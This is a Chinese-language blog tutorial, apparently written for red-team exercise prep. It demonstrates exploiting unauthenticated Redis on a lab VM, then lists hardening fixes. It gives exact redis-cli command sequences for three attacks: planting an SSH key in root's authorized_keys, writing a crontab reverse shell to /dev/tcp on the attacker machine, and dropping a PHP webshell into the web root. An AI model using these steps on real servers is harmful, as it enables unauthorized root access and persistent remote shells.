Redis未授权访问漏洞总结

Redis未授权访问漏洞,包括很多姿势,之前一直有接触,但并没有认真总结过,最近有点闲。

并且在准备HW的东西 而未授权的Redis 在内网中很容易遇到,故写篇文章记录之。

images

Redis简介

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行操作。

Redis安装

这里拿两台机器做演示

虚拟机 Centos 10.211.55.23 作为目标机器

本机 Mac 10.211.55.2 作为攻击机。

安装Redis

1
wget http://download.redis.io/releases/redis-4.0.6.tar.gz

解压压缩包

1
tar -zxvf redis-4.0.6.tar.gz

yum安装gcc依赖

1
yum install gcc

编译

1
2
cd redis-4.0.6/src
make

编译成功

image-20220527160540944

将redis的命令安装到/usr/bin/目录

1
sudo make install

运行

启动服务器

1
redis-server

新终断启动客户端测试下

1
redis-cli -h 127.0.0.1

默认开启保护模式,要关闭保护模式

修改redis的配置文件redis.conf

protected-mode 修改为no

image-20220530110610908

将这一行注释掉,表示任何主机都可访问的意思,生产环境中最好是指定特定的主机进行访问。image-20220527164834735

重启服务器

1
redis-server redis.conf

SSH密钥登陆

本机Mac作为攻击机,链接一下虚拟机的 Redis数据库

直接可以连接,说明存在未授权访问漏洞

image-20220527205016031

Linux服务器 我们一般采用密码方式登陆,但是每次输入密码会显得非常麻烦。SSH还有一个更便携的方法就是通过密钥方式登陆。

将公钥添加到服务器中,在客户端利用私钥即可完成认证并成功登陆服务器。

简单说下原理,大致意思就是用户将自己的公钥存储在远程主机(服务器)上,登陆时候远程主机会发送一段随机字符串,经过我们本地的私钥加密以后在发给服务器。最后服务器用存储的公钥进行解密,如果解密成功则直接登录,没有输入密码的过程。

首先,我们先看下服务器上有没有开启密钥登陆

1
vim /etc/ssh/sshd_config

默认是开启了密钥登陆的

image-20220530111039739

image-20220530111126435

这里默认是 yes 改为 no 就是禁用了密码登陆,这样妈妈再也不用担心我被爆破了。

在本机生成一对公私钥

1
ssh-keygen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#链接redis。
./redis-cli -h 10.211.55.23
#查看当前路径。
10.211.55.23:6379> config get dir
1) "dir"
2) "/home/parallels/redis-4.0.6"
#查看当前操作的文件。
10.211.55.23:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
#设置要操作的路径。
10.211.55.23:6379> config set dir /root/.ssh/
OK
#设置要操作的文件。
10.211.55.23:6379> config set dbfilename authorized_keys
OK

然后直接写入公钥。

image-20220529155214649

save将公钥值保存到要操作的文件。

写入公钥以后,直接登录即可

1
ssh -i id_rsa root@10.211.55.23

反弹shell

利用定时任务crontab反弹shell

1
2
*/1 * * * * bash -i >& /dev/tcp/10.211.55.2/7878 0>&1
分别对应 分 时 日 月 周 命令

表示每1分钟执行一次反弹shell的命令

1
2
3
4
5
6
7
8
9
$ ./redis-cli -h 10.211.55.23
10.211.55.23:6379> set x "\n*/1 * * * * bash -i >& /dev/tcp/10.211.55.2/7878 0>&1\n"
OK
10.211.55.23:6379> config set dir /var/spool/cron/
OK
10.211.55.23:6379> config set dbfilename root
OK
10.211.55.23:6379> save
OK

image-20220604142413213

nc监听一下

回到靶机crontab -l查看一下计划任务

image-20220604142647076

写进来了。

这时候也成功反弹了。

image-20220604142529875

写入webshell

原理都是一样的。

1
2
3
4
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

image-20220604143525239

image-20220604143634645

漏洞修复

设置认证密码

编辑配置文件redis.conf 找到 #requirepass foobared 添加如下内容

1
requirepass zxcvbnm123.

保存即可。

本机验证一下看看

image-20220604145800194

也可直接

1
./redis-cli -h 10.211.55.23 -a zxcvbnm123.

修改默认6379端口

编辑配置文件redis.conf

1
port 6379

改为其他端口

指定主机访问

编辑配置文件redis.conf

image-20220527164834735

指定主机访问,前面也提到过,redis默认的配置就是这样的,只不过我们为了复现漏洞添加了注释。

开启保护模式

编辑配置文件redis.conf

1
protected-mode yes

我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=ehbox4kf2m7x